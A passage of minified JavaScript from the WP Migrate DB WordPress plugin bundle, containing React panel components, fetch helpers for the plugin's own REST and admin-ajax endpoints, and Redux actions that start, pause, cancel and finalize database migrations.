is not writable at the destination.","wp-migrate-db"),(0,y.S$)(t,n));return console.log(t),l.createElement("div",{className:"error-disabled"},l.createElement("div",{className:"action-panel shadow-div error-panel"},l.createElement("div",{className:"panel-header-wrap panel-closed has-summary-no-child"},l.createElement(S,null),l.createElement("h4",{className:"panel-title"},a),l.createElement("div",{className:"accordion-divider bg-grey-light"}),l.createElement("div",{className:"panel-header has-summary"},l.createElement("div",{className:"panel-summary"},l.createElement("p",null,(0,k.Ay)(r)),l.createElement(x.A,{link:"https://deliciousbrains.com/wp-migrate-db-pro/doc/folder-permission-errors/",content:(0,A.__)("How to Fix Folder Permissions","wp-migrate-db"),utmContent:"not-writable-error-panel-".concat(t),utmCampaign:"wp-migrate-documentation",hasArrow:!0}))))))};const P=(0,o.Ng)((e=>{var t=(0,m.o)("panelsOpen",e),n=(0,m.o)("panelClicked",e),r=(0,m.o)("panelStatus",e),i=(0,m.o)("registeredPanels",e),l=(0,w.ud)("intent",e),s=(0,w.ud)("connected",e),c=!1;return(0,y.PQ)()&&(c=(async e=>(0,(await Promise.resolve().then(a.bind(a,56675))).selectFromImportData)("file_uploaded",e))(e)),{panels:e.panels,panelsOpen:t,panelClicked:n,panelStatus:r,intent:l,connected:s,file_uploaded:c,registeredPanels:i}}),{removeOpenPanel:d.Tz,togglePanelsOpen:d.SZ,setPanelClicked:d.yg,setPanelStatus:d.Zg,registerPanel:d.eH})((e=>{var t=e.disabled,a=e.childPanel,s=e.className,o=e.hasDefault,d=e.selected,m=e.hasInput;(0,l.useEffect)((()=>{e.registerPanel(e.panelName)}),[e.intent]);var p=c()(e.panelsOpen,e.panelName),u=p?"open":"closed",_=(0,l.useState)(""),g=(0,i.A)(_,2),b=g[0],v=(g[1],(0,l.useState)(!1)),E=(0,i.A)(v,2),w=E[0],A=(E[1],(0,l.useState)(!1)),k=(0,i.A)(A,2),x=k[0],N=(k[1],e.panelName),S=e.bodyClass,P=e.hasOwnProperty("panelSummary"),O=(0,r.A)((0,r.A)({},e),{},{panelOpen:p,hasSummary:P,panelName:N,hasInput:m}),C="action-panel shadow-div";s&&(C+=" ".concat(s));var R=function(e,t,a){var n=[];return e&&n.push("child-panel"),e&&t&&n.push("shadows"),a&&n.push("disabled"),n}(a,p,t),D=function(e,t,a,n,r){var i=[],l="panel-header-wrap";return l+=e?" panel-open":" panel-closed",t&&(a||!a&&n.length)&&i.push("maybe-has-default"),r&&!t?i.push("has-summary-no-child"):t||i.push("no-child"),t&&i.push("child-panel"),t&&!r&&i.push("no-summary"),{panelHeaderClasses:i,panelHeaderBaseClass:l}}(p,a,o,d,P),I=D.panelHeaderClasses,M=D.panelHeaderBaseClass;return"false"===e.writable?l.createElement(T,{panelTitle:O.title,description:"",panelName:N}):l.createElement("div",{key:e.panelKey,className:"".concat(C," ").concat(R.join(" "))},l.createElement("div",{onClick:t=>{if(e.disabled)return!1;((e,t,a,n,r,i,l)=>{if(e.hasOwnProperty("callback")&&"function"===typeof e.callback&&!1===e.callback(l))return;var s="open";if(r&&(s="closing"),e.setPanelStatus(s),e.setPanelClicked(n),e.disabled)return!1;e.togglePanelsOpen(n)})(e,0,0,N,p,0,t)},className:"".concat(M," ").concat(I.join(" ")),id:"wpmdb-".concat((0,y._J)(N))},l.createElement(f,O)),l.createElement(h,(0,n.A)({shouldClose:x,panelAnimating:b,panelName:N,panelOpenState:w,panelContentClass:u,panelOpen:p,className:S||"",id:N},e)))}))},33782:(e,t,a)=>{"use strict";a.d(t,{eu:()=>E,yr:()=>g,ty:()=>h,ZY:()=>v,G3:()=>U,Vc:()=>B,cT:()=>S,rh:()=>y,XA:()=>M,Ri:()=>G,p_:()=>R,rR:()=>F,dy:()=>j,qX:()=>D,PQ:()=>L,nT:()=>T,ks:()=>O,dJ:()=>P,g:()=>N,S$:()=>z,Mp:()=>f,b5:()=>k,DQ:()=>x,Qj:()=>I,_J:()=>b,mx:()=>_,Vt:()=>C,wv:()=>A,Sl:()=>w});var n=a(24467),r=a(17762),i=a(64573),l=a.n(i),s=a(48476),c=a.n(s),o=a(94263),d=a.n(o),m=a(47114),p=a(98791);var u=a(50536);function _(e,t){return-1!==l()(e,t)?c()(e,t):[...e,t]}function g(e,t){return[...new Set([...e,...t])]}function f(e,t){return e.filter((e=>!t.includes(e)))}function b(e){e=(e=e.replace(/^\s+|\s+$/g,"")).toLowerCase();for(var t="\xe0\xe1\xe3\xe4\xe2\xe8\xe9\xeb\xea\xec\xed\xef\xee\xf2\xf3\xf6\xf4\xf9\xfa\xfc\xfb\xf1\xe7\xb7/_,:;",a=0;a<29;a++)e=e.replace(new RegExp(t.charAt(a),"g"),"aaaaaeeeeiiiioooouuuunc------".charAt(a));return e=e.replace(/[^a-z0-9 -]/g,"").replace(/\s+/g,"-").replace(/-+/g,"-")}async function h(e,t){var a=arguments.length>2&&void 0!==arguments[2]&&arguments[2],n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null,r={method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json","X-WP-Nonce":window.wpmdb_data.nonces.rest_nonce},body:JSON.stringify(t),signal:window.wpmdb_abort_controller.signal};a&&(r.signal=a.signal);var i=await fetch(window.wpmdb_data.MDB_API_BASE+e,r);if(!i.ok)throw n&&n(((e,t)=>{e({type:"MDB_REST_NOT_ACTIVE"}),e((0,p.Gx)())})),new Error(i.statusText);return i.json()}function v(e){var t=e.preRequest,a=void 0===t?()=>{}:t,n=e.asyncFn,r=e.requestFailed,i=void 0===r?()=>{}:r,l=e.requestSuccess,s=void 0===l?()=>{}:l;return async()=>{var e;a();try{e=await n}catch(t){return i(t),!1}return e.success?(s(e),e):i(e)}}async function E(e,t){var a=new FormData;for(var n in t)a.append(n,t[n]);var r={method:"POST",body:a,signal:window.wpmdb_abort_controller.signal},i=await fetch(e,r);if(!i.ok)throw new Error(i.statusText);return i.json()}async function w(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],a=new FormData;for(var n in e)a.append(n,e[n]);var r={method:"POST",credentials:"same-origin",body:a,signal:window.wpmdb_abort_controller.signal};t&&(r.signal=t.signal);var i=await fetch(window.ajaxurl,r);if(!i.ok)throw new Error(await i.text());return i.json()}function y(e){h("/error-migration",{action:"cancel",error_message:(0,u.A)(e)})}function A(e){return/^([a-z]([a-z]|\d|\+|-|\.)*):(\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?((\[(|(v[\da-f]{1,}\.(([a-z]|\d|-|\.|_|~)|[!\$&'\(\)\*\+,;=]|:)+))\])|((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=])*)(:\d*)?)(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*|(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)|((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)|((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)){0})(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(e)}var k=e=>e?e.replace(/(^\w+:|^)\/\//,"//"):e,x=e=>e?e.replace(/(^\w+:|^)\/\//,""):e,N=e=>e!==window.WPMDBStore.getState().migrations.local_site.this_prefix,S=e=>{var t=e.intent;if(""!==t)return{savefile:(0,r.__)("Export","wp-migrate-db"),backup_local:(0,r.__)("Backup","wp-migrate-db"),import:(0,r.__)("Import","wp-migrate-db"),find_replace:(0,r.__)("Find & Replace","wp-migrate-db"),push:(0,r.__)("Push","wp-migrate-db"),pull:(0,r.__)("Pull","wp-migrate-db")}[t]};function T(e,t,a){var n;return d()(["find_replace","savefile","pull","backup_local","import"],e)?n=t.write_permissions:"push"===e&&(n=a.write_permissions),{disabled:"false"===n,uploads_dir:"push"===e?a.uploads_dir:t.this_uploads_dir}}function P(e,t){var a=t.migrations,n=a.local_site,r=a.remote_site,i=a.current_migration,l=(0,m.T)(n,r,i,e);return(l=l.join(""))===l.toLowerCase()?null:("1"===n.lower_case_table_names||"push"!==e&&"savefile"!==e)&&("1"===r.lower_case_table_names||"pull"!==e)||null}function O(e,t){var a=t.migrations,n=t.multisite_tools,r=a.local_site,i=a.remote_site;if(d()(["push","pull"],e)){if(!n||!r.site_details||!i.site_details)return!1;if(r.site_details.is_multisite!==i.site_details.is_multisite)return"1"!==r.mst_available||"1"!==i.mst_available||!n.is_licensed}return!1}function C(){var e=(0,n.d4)((e=>e.settings)),t=e.masked_licence;if(!e.isPro)return!0;var a=(0,n.d4)((e=>e.dbi_api_data)).licence.licence_status;return null===t&&!window.wpmdb_settings.license_constant||![null,"active_licence","subscription_expired"].includes(a)}function R(e){return window.reactpluginBuildURLmdb+e}function D(e){return d()(e.match(/\.sql|\.gz/gi),".gz")}function I(e){return e.replace(/\.sql|\.gz/gi,"")}var M=e=>{var t=[];return e?(Object.values(e).forEach((e=>{"string"===typeof e?t.push(e):"object"===typeof e&&(e.hasOwnProperty("licence")?t.push(e.licence):e.hasOwnProperty("default")&&t.push(e.default))})),0===t.length?null:t):null},L=()=>"free"!=={NODE_ENV:"production",PUBLIC_URL:"",WDS_SOCKET_HOST:void 0,WDS_SOCKET_PATH:void 0,WDS_SOCKET_PORT:void 0,FAST_REFRESH:!0}.REACT_APP_BUILD_MODE;function F(e){var t=[];if(null===e||!e.hasOwnProperty("imported")||!1===e.imported)return t;var a=e.value,n=a.current_migration,r=a.media_files;return n.hasOwnProperty("post_types_option")&&"all"!==n.post_types_option&&["pull","import"].includes(n.intent)&&t.push("post_types"),r.hasOwnProperty("enabled")&&!0===r.enabled&&t.push("media_files"),t}var B=(e,t)=>{var a={pull:(0,r.__)("to pull remote data into this site","wp-migrate-db"),push:(0,r.__)("to push data to a remote site","wp-migrate-db"),import:(0,r.__)("to import data into this site","wp-migrate-db"),regex:(0,r.__)("to use Regular Expressions","wp-migrate-db"),dryRun:(0,r.__)("to view details on the exact changes that will be made","wp-migrate-db")},n=(0,r.__)("Activate your license","wp-migrate-db"),i="#settings/enter",l="";t||(n=(0,r.__)("Upgrade","wp-migrate-db"),i="https://deliciousbrains.com/wp-migrate-db-pro/upgrade/?utm_campaign=WP%2BMigrate%2BDB%2BPro%2BUpgrade&utm_source=MDB%2BFree&utm_medium=insideplugin",l='target="_blank"');var s=(0,r.__)('%s %s',"wp-migrate-db");return(0,r.nv)(s,i,l,n,a[e])},U=e=>(e/1e3/1024).toFixed(2),z=(e,t)=>{var a,n,r,i,l,s=t.current_migration,c=t.local_site,o=t.remote_site,d="pull"===s.intent,m=d?o:c,p=m.site_details,u=p.themes_path,_=p.plugins_path,g=p.muplugins_path,f=p.content_dir,b=d?m.path:m.this_path,h=(e,t)=>void 0===e?null:e.replace(t,"").replace(/^\/|\/$/g,"");switch(e){case"themes":case"theme_files":return null!==(a=h(u,b))&&void 0!==a?a:"wp-content/themes";case"plugins":case"plugin_files":return null!==(n=h(_,b))&&void 0!==n?n:"wp-content/plugins";case"muplugins":case"muplugin_files":return null!==(r=h(g,b))&&void 0!==r?r:"wp-content/mu-plugins";case"media":case"media_files":return null!==(i=h(d?m.wp_upload_dir:m.this_wp_upload_dir,b))&&void 0!==i?i:"wp-content/uploads";case"others":case"other_files":return null!==(l=h(f,b))&&void 0!==l?l:"wp-content";default:return""}},G=(e,t,a,n)=>{var r=t.localSource?n:a;switch(e){case"theme_files":case"themes":return r.themes_permissions;case"plugin_files":case"plugins":return r.plugins_permissions;case"muplugin_files":case"muplugins":return r.muplugins_permissions;case"other_files":case"others":return r.others_permissions;default:return r.write_permissions}},j=()=>{var e=window.location.hash.substring(1);if(e.includes("unsaved")||e.includes("migrate")){var t=e.split("/");return t.length>1&&t}return!1}},80506:(e,t,a)=>{"use strict";a.d(t,{A:()=>i});var n=a(64573),r=a.n(n);const i=function(e,t,a){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"",i=[];t.forEach((e=>(-1===r()(a,e)&&i.push(e),null))),e(i,n)}},1626:(e,t,a)=>{"use strict";a.d(t,{b:()=>r});var n=a(60987);function r(e,t){for(var a=arguments.length,r=new Array(a>2?a-2:0),i=2;i{"use strict";a.d(t,{X:()=>i});var n=a(33782),r=a(75742),i=()=>(e,t)=>!!(0,n.PQ)()&&(0,r.z)("status",t()).connecting},20380:(e,t,a)=>{"use strict";a.d(t,{$4:()=>d,JZ:()=>p,Pu:()=>u,QU:()=>m,fk:()=>o});var n=a(16274),r=a(68647),i=a(90467),l=a(95222),s=a(48346),c=a(36181),o=()=>e=>{if(e((0,n.gE)(!0)),e(d(!0)),e({type:"WPMDB_PRE_MIGRATION"}),e({type:"MIGRATION_STARTED"}),!e((0,i.M)()))return!1;e((0,r.yS)())},d=e=>({type:l.$O,payload:e}),m=e=>({type:s.eG,payload:e}),p=e=>({type:c.eu,payload:e}),u=e=>({type:c.Wb,payload:e})},73035:(e,t,a)=>{"use strict";a.d(t,{Eo:()=>s,U2:()=>i,VT:()=>l,W5:()=>c,ip:()=>r});var n=a(47198);function r(e,t){return(a,r)=>{a({type:n.Hm,payload:{name:e,fn:t}})}}function i(e,t){return(a,r)=>{a({type:n.b8,payload:{name:e,fn:t}})}}function l(e){return(t,a)=>{t({type:n.qG,payload:{name:e}})}}function s(e){return(t,a)=>{a().mdb_filters.actions.forEach((t=>{t.name===e&&t.fn.call()}))}}function c(e){for(var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",a=arguments.length,n=new Array(a>2?a-2:0),r=2;r{var i=r().mdb_filters.filters,l=t;return i.forEach((t=>{t.name===e&&(l=t.fn.call(this,l,...n))})),l}}},72076:(e,t,a)=>{"use strict";a.d(t,{Lx:()=>s,SH:()=>l,cQ:()=>c,oI:()=>o});var n=a(94263),r=a.n(n),i=a(1626);function l(e,t){return(a,n)=>{a((0,i.b)(t,e))}}function s(e,t,a){return async(n,r)=>{n((0,i.b)(a,{type:e,status:t}))}}function c(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return(t,a)=>{var n=a().migrations;""===e&&(e=n.current_migration.intent);var i="true"===n.local_site.is_multisite;if(r()(["find_replace","savefile","backup_local"],e)&&i)return!0;if(r()(["push","pull"],e)){if(!n.remote_site.site_details)return!1;var l="true"===n.remote_site.site_details.is_multisite;return i||l}return!1}}function o(e,t,a,n){return"migration"===n?"pull"===e||"import"===e?a:t:"pull"===e||"import"===e?t:a}},16274:(e,t,a)=>{"use strict";a.d(t,{$V:()=>p,Gy:()=>k,Lx:()=>d,Pc:()=>u,Wn:()=>h,YY:()=>S,_C:()=>g,_P:()=>_,aE:()=>f,aX:()=>w,cp:()=>x,gE:()=>A,gY:()=>v,hO:()=>N,qy:()=>y,uI:()=>b,ub:()=>m,un:()=>E});var n=a(33782),r=a(1626),i=a(95222),l=a(48346),s=a(14057),c=a(57524),o=a(68647);function d(e){return(0,r.b)(i.mD,e)}function m(e){return(0,r.b)(i.GF,e)}function p(){return e=>{e((0,r.b)("RESET_APP",{}))}}function u(e){return{type:s.Yz,payload:e}}function _(e){return(t,a)=>{var r=a();t({type:i.$x,payload:e});var l=r.migrations.current_migration;t(u((0,n.cT)({intent:e.intent,local_site:r.migrations.local_site,remote_site:r.migrations.remote_site,connected:l.connected}))),"savefile"===e.intent&&(0,n.dJ)("savefile",a())&&t(g())}}function g(){return e=>{e((0,r.b)("SET_CONNECTION_STATUS",{key:"mixed_case_table_name_warning",statusVal:!0}))}}function f(e){return(t,a)=>{if(t({type:i.cJ,payload:e}),"backup_selected"===(0,c.ud)("backup_option",a())){var n=t((0,o.tI)());t(h(n))}}}function b(e,t){return a=>{a({type:i.UL,payload:e}),"all"===e&&a(f(t))}}function h(e){return{type:i.A$,payload:e}}function v(e){return(t,a)=>{t({type:i.Q3,payload:e});var n=t((0,o.tI)());t(h(n))}}function E(e){return{type:i.Ow,payload:e}}function w(e,t){return a=>{a({type:i.iw,payload:e}),"all"===e&&a(E(t))}}function y(e){return{type:i.cu,payload:e}}function A(e){return{type:l.pV,payload:e}}function k(e){return{type:i.UJ,payload:e}}function x(e,t){return a=>{a({type:i.vZ,payload:e}),a({type:i.Ge,payload:t})}}function N(e){return t=>{t({type:i.hG,payload:e})}}function S(e){return t=>{t({type:i.e,payload:e})}}},97734:(e,t,a)=>{"use strict";a.d(t,{FF:()=>k,e_:()=>v,vV:()=>A,yt:()=>y});var n=a(19496),r=a(26961),i=a(94263),l=a.n(i),s=a(17762),c=a(24467),o=a(57524),d=a(33782),m=a(48346),p=a(1626),u=a(13657),_=a(75953),g=a(58728),f=a(73035),b=a(22395),h=a(11365),v=e=>async(e,t)=>{e((0,p.b)(m.ks,"Finalizing Migration")),e((0,p.b)(m.Uk,"FINALIZING"));var a=(0,o.ud)("intent",t()),n=(0,o.ud)("stages",t()),r=(0,o.w1)("dump_info",t()),i=(0,o.ud)("databaseEnabled",t()),c=(0,o.ud)("fseDumpFilename",t());if(0===Object.entries(r).length&&("savefile"===a&&i||"backup_local"===a))throw new Error((0,s.__)("File dump info empty","wp-migrate-db"));if("backup_local"!==a&&"savefile"!==a)return e(E(a));var d=window.wpmdb_data.this_download_url+(i?encodeURIComponent(r.dump_filename):c),u=(0,o.ud)("advanced_options_selected",t()),_=i?n.length>1:"savefile"===a;return _?d+="&zip=1":l()(u,"gzip_file")&&(d+="&gzip=1"),_&&(d+="&fullSiteExport=1"),"savefile"===a?(e(x(a)),setTimeout((()=>{window.location=d}),0)):e(x(a,r))},E=e=>async(t,a)=>t((async()=>{var e,n=await(0,o.sS)(a()),r={tables:(0,o.ud)("databaseEnabled",a())?n.join(","):""};(0,o.Qu)(a())&&(r.prefix=(0,o.yy)("this_prefix",a())),r=t((0,f.W5)("wpmdbFinalizeMigration",r));var i=(0,o.w1)("document_title",a());document.title=(0,s.__)("Finalizing","wp-migrate-db")+" - "+i;try{e=await(0,d.ty)("/finalize-migration",r),t((0,f.Eo)("afterFinalizeMigration"))}catch(l){return console.error(l),t((0,g.zh)({error_type:m.mN,error_message:l})),!1}return e.success?e:(t((0,g.zh)({error_type:m.mN,error_message:e.data})),!1)})).then((async a=>{if(!a)return!1;await w(t,e)})).catch((e=>{t((0,g.zh)({error_type:m.mN,error_message:e}))})),w=async(e,t)=>{e((0,p.b)(m.ks,(0,s.__)("Flushing caches...","wp-migrate-db")));var a=new FormData;a.append("action","wpmdb_flush"),a.append("nonce",window.wpmdb_data.nonces.flush);var n=await fetch(window.ajaxurl,{method:"POST",body:a});if(!n.ok)throw new Error(n.statusText);var r=await n.json();if(!r.success)throw new Error(r.data);return e(x(t))},y=()=>async(e,t)=>{var a,n=await(0,o.w1)("migration_tables",t()),i=!1,l=(0,r.A)(n);try{for(l.s();!(a=l.n()).done;){var s=a.value;if(i=/(.*)_options|(.*)_sitemeta/.test(s))break}}catch(c){l.e(c)}finally{l.f()}return i},A=e=>(t,a)=>{var r=(0,o.ud)("intent",a()),i=(0,o.w1)("document_title",a()),s=a().profiles;document.title=i;l()(["import","pull","find_replace"],r)&&(t(y())&&"COMPLETE"===e&&(l()(["import","pull"],r)?window.location.href=(()=>{var e=window.location.hash,t=window.location.href.replace(e,""),a=(0,n.A)(s.recent,1)[0];a=void 0!==a?a.id:"";var r=0;-1===e.indexOf("#unsaved/")&&-1===e.indexOf("#migrate/")||(-1!==e.indexOf("migrate")&&(r=1),a=e.match(/([0-9]+)(?=[^/]*$)/gm));return"".concat(t,"&redirect_profile=").concat(a,"&saved_profile=").concat(r)})():window.location.reload()))},k=e=>{var t=(0,u.ZS)(e),a=(0,u.HD)(e),n=(0,u.DU)(e),r=(0,s.nv)((0,s.__)("%ss","wp-migrate-db"),t);return a>0&&(r=(0,s.nv)((0,s.__)("%sm %s","wp-migrate-db"),a,r)),n>0&&(r=(0,s.nv)((0,s.__)("%shr %s","wp-migrate-db"),n,r)),r},x=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return async(e,r)=>{e((0,g.U)(!0)),(0,c.vA)((()=>{e((0,p.b)(m.IG,"COMPLETE")),e((0,g.SM)());var a=e(function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return(t,a)=>{var r,i,l,c=(0,o.ud)("intent",a());(0,d.PQ)()&&(l=(0,d.DQ)((0,o.vg)("url",a())));var m=(0,o.w1)("migration_size",a()),p=(0,o.w1)("timer",a()),g=(0,o.w1)("migration_size",a()),f=(0,u.d3)(m),v=k(p.time),E="pull"===c?(0,s.__)("from","wp-migrate-db"):(0,s.__)("to","wp-migrate-db");switch(c){case"pull":case"push":var w=(0,o.ud)(["payloadSizeHistory","stages_complete"],a()),y=(0,n.A)(w,2),A=y[0],x=y[1],N=(0,s.nv)((0,s.__)('with an average request size of %sMB',"wp-migrate-db"),(0,d.G3)((0,b.k)(A)));r="".concat(_.U[c],' ').concat(E," ").concat(l),i=(0,s.nv)((0,s.__)('%s%s of data was migrated in %s %s'),f,(0,u.VR)(g),v,x&&x.some((e=>h.ou.includes(e)))?N:"");break;case"savefile":r=(0,s.__)("Export Complete","wp-migrate-db"),i=(0,s.nv)((0,s.__)('%s%s of data was exported in %s',"wp-migrate-db"),f,(0,u.VR)(g),v);break;case"import":r=(0,s.__)("Import Complete","wp-migrate-db"),i=(0,s.nv)((0,s.__)('Completed in %s'),v);break;case"find_replace":r=(0,s.__)("Find & Replace Complete","wp-migrate-db"),i=(0,s.nv)((0,s.__)('%s%s of data was replaced in %s',"wp-migrate-db"),f,(0,u.VR)(g),v);break;case"backup_local":r=(0,s.__)("Backup Complete","wp-migrate-db"),i=e.dump_path?(0,s.__)("The backup file has been saved to your server.","wp-migrate-db"):""}return{title:r,message:i}}}(t)),r=a.title,i=a.message;e((0,p.b)(m.ks,r)),e((0,p.b)(m.dJ,i))}));var i=(0,o.w1)("document_title",r());if((0,d.PQ)()){var l=(await Promise.resolve().then(a.bind(a,70472))).TrackMigrationComplete;e(l())}document.title=(0,s.__)("Complete","wp-migrate-db")+" - "+i}}},68647:(e,t,a)=>{"use strict";a.d(t,{GD:()=>A,Jo:()=>P,Jt:()=>h,S7:()=>C,U:()=>F,VV:()=>O,Wz:()=>E,YU:()=>D,fU:()=>b,o$:()=>M,oH:()=>f,tI:()=>L,yS:()=>y});var n=a(19496),r=a(24467),i=a(17762),l=a(1626),s=a(95222),c=a(48346),o=a(58728),d=a(57524),m=a(33782),p=a(58347),u=a(73035),_="INITIATE_MIGRATION",g="MIGRATE",f="UPLOAD",b="UPLOAD_IMPORT_SUCCESSFUL",h="IMPORT_FILE",v="ADDONS_STAGE",E="COMPLETE";var w={};function y(){return async(e,t)=>(0,r.vA)((()=>{e((0,l.b)(s.Ad,"initiate_migration")),e((0,o.nz)()),e((0,l.b)(c.O4,document.title)),e((0,l.b)(s.q2,!0)),e((0,l.b)(c.ks,(0,i.__)("Establishing Connection...","wp-migrate-db")))}))}function A(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"",i=arguments.length>3&&void 0!==arguments[3]&&arguments[3];return async(s,m)=>{switch(s((0,l.b)(c.Uk,e)),e){case _:return s(k());case g:return s(x(r,t,i));case f:return s(N(r,t));case b:case h:return s(S(t));case v:return s((0,(await Promise.resolve().then(a.bind(a,4552))).runAddonsStage)(t,i));case E:(0,d.w1)("pause_before_finalize",m())&&s((0,l.b)(c.IG,"PAUSED"));var p=(0,n.A)(t,1)[0];return void await s(M(o.e_,[p],!0))}}}var k=()=>async(e,t)=>{e((0,o.$$)()),e(F(!1)),(0,r.vA)((()=>{e((0,l.b)(s.Ad,"initiate_migration")),e((0,l.b)(c.O4,document.title)),e((0,l.b)(s.q2,!0)),e((0,l.b)(c.ks,(0,i.__)("Establishing Connection...","wp-migrate-db")))}));var a=(0,d.ud)("intent",t()),n=await e(M(o.UO));return!!n&&e(A("import"===a&&"backup"!==n?f:g))},x=function(e,t){var a=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return async(n,r)=>{if((0,d.ud)("databaseEnabled",r())){var c,_=(0,p.k)("delay_between_requests",r()),g=(0,d.w1)("status",r());a||"CANCELLED"===g||n(function(e){return async(t,a)=>{var n=(0,d.ud)("intent",a());if("initiate_migration"===(0,d.ud)("current_stage",a())){var r="";(0,m.PQ)()&&(r=(0,d.vg)("url",a())),t(I(function(e,t){return{find_replace:(0,i.__)("Running find & replace...","wp-migrate-db"),import:(0,i.__)("Importing SQL file...","wp-migrate-db"),push:(0,i.nv)((0,i.__)("Pushing to %s...","wp-migrate-db"),t),pull:(0,i.nv)((0,i.__)("Pulling from %s...","wp-migrate-db"),t),backup:(0,i.__)("Running backup, please wait...","wp-migrate-db"),savefile:(0,i.__)("Exporting, please wait...","wp-migrate-db")}[e]}(n,r)))}var c="migrate";if("find_replace"===n&&(c="find_replace"),"none"!==(0,d.ud)("backup_option",a())&&(c="backup"),e.length&&(c=e),t((0,l.b)(s.Ad,c)),"backup"===c){var o=t(L());t(R(o))}else t(T(a(),(0,d.sS)(a())))}}(e));var f,b=[-1,"",0];if(c=o.B,t.length&&(c=t[0].fn,b=t[0].args),e.length&&b.push(e),!(f=_>0?await(0,o.b8)((()=>n(M(c,b))),1e3*_):await n(M(c,b))))return!1;if(!f.hasOwnProperty("dump_filename")&&"success"!==f)throw new Error(f);n((0,l.b)(s.kl,"tables"))}if(null===await n((0,u.W5)("mdbAddonActions",null)))return n(A(E))}},N=(e,t)=>async e=>{var n;e((0,l.b)(c.ks,(0,i.__)("Uploading File","wp-migrate-db")));var r=[0];n=(await a.e(800).then(a.bind(a,84800))).uploadFileActions,t.length&&(n=t[0].fn,r=t[0].args),e(M(n,r))},S=e=>async t=>{var a=null,n=null;return e.length&&(n=e[0].fn,a=e[0].args),t(M(n,a))};var T=(e,t)=>R(t);function P(){return async(e,t)=>{if(e((0,l.b)(c.ks,(0,i.__)("Cancelling migration...","wp-migrate-db"))),"PAUSED"===(0,d.w1)("status",t()))return e((0,l.b)(c.IG,"CANCELLED")),e(M((()=>!1)));e(F(!0)),e((0,l.b)(c.IG,"CANCELLED"))}}function O(){return(e,t)=>{e((0,l.b)(c.ks,(0,i.__)("Pausing...","wp-migrate-db"))),e((0,l.b)(c.IG,"PAUSED"))}}function C(){return async(e,t)=>{e((0,l.b)(c.IG,"")),e((0,o.Ip)());var a=(0,d.w1)("progress_stage",t());await e(A(a,[{fn:w.fn,args:w.args}],!1,!0))}}function R(e){return(0,l.b)(c.AJ,e)}function D(e){return t=>{t((0,l.b)(s.q2,e))}}var I=e=>(t,a)=>t((0,l.b)(c.ks,e));function M(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],a=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return async(n,s)=>{var p=(0,d.ud)("preview",s()),u=(0,d.w1)("status",s()),_=(0,d.w1)("progress_stage",s()),g=(0,d.w1)("pause_before_finalize",s()),f=(0,i.__)("Paused","wp-migrate-db"),b=(0,i.nv)("%s - %s",f,(0,i.__)("preview changes below","wp-migrate-db"));if("CANCELLED"===u){var h;try{h=await(0,m.ty)("/cancel-migration",{action:"cancel"})}catch(v){return n((0,o.zh)({error_type:c.mN,error_message:"".concat((0,i.__)("Migration cancellation failed")," \u2013 ").concat(v)}))}return h.success?(n(F(!0)),(0,r.vA)((()=>{n((0,o.SM)()),n((0,l.b)(c.ks,(0,i.__)("Migration cancelled","wp-migrate-db"))),n((0,l.b)(c.IG,"CANCEL_COMPLETE"))})),!1):n((0,o.zh)({error_type:c.mN,error_message:"".concat((0,i.__)("Migration cancellation failed")," \u2013 ").concat(h.data)}))}return"PAUSED"===u||g&&a?(g&&a&&n((0,l.b)(c.pV,!1)),(0,r.vA)((()=>{n((0,l.b)(c.ks,p&&"COMPLETE"===_?b:f)),n((0,o.Sp)())})),w.fn=e,w.args=t,!1):await n(e.apply(null,t))}}var L=()=>(e,t)=>{var 